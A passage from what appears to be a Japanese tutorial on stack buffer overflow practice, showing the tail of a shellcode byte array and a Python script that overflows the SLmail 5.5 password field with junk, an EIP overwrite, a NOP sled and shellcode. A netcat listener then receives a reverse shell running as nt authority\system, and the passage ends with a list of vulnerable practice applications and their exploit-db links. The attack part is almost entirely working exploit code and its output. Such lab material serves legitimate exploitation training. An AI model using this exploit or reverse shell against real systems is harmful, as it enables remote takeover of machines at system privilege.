"\x52\xdc\x34\xc4\x9d\x64\xe3\x35\x23\x65\x66\x01\x07\x75\xbe"
"\x8a\x03\x21\x6e\xdd\xdd\x9f\xc8\xb7\xaf\x49\x83\x64\x66\x1d"
"\x52\x47\xb9\x5b\x5b\x82\x4f\x83\xea\x7b\x16\xbc\xc3\xeb\x9e"
"\xc5\x39\x8c\x61\x1c\xfa\xac\x83\xb4\xf7\x44\x1a\x5d\xba\x08"
"\x9d\x88\xf9\x34\x1e\x38\x82\xc2\x3e\x49\x87\x8f\xf8\xa2\xf5"
"\x80\x6c\xc4\xaa\xa1\xa4")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + NOP + shellcode + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Pythonコマンドを実行します。
nt authority\system権限で動くシェルを確立させることができました。

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
172.16.208.172: inverse host lookup failed: Unknown host
connect to [172.16.208.171] from (UNKNOWN) [172.16.208.172] 49184
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\SLmail\System>whoami
whoami
nt authority\system

スタックバッファオーバーフローの練習教材

スタックバッファオーバーフローの練習に使用することのできるアプリケーションリストです。

アプリケーション名 URL
CloudMe Sync 1.10.9 https://www.exploit-db.com/exploits/44175/
Freefloat FTP Server 1.0 https://www.exploit-db.com/exploits/17546/
MiniShare 1.4.1 https://www.exploit-db.com/exploits/636/
PCMan FTP Server 2.0.7 https://www.exploit-db.com/exploits/26471
Savant Web Server 3.1 https://www.exploit-db.com/exploits/10434/
SLmail 5.5 https://www.exploit-db.com/exploits/638/
WarFTP 1.65 https://www.exploit-db.com/exploits/3570/
Vulnserver http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
VulnHub - Brainpan: 1 https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332

参考資料

21
20
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
21
20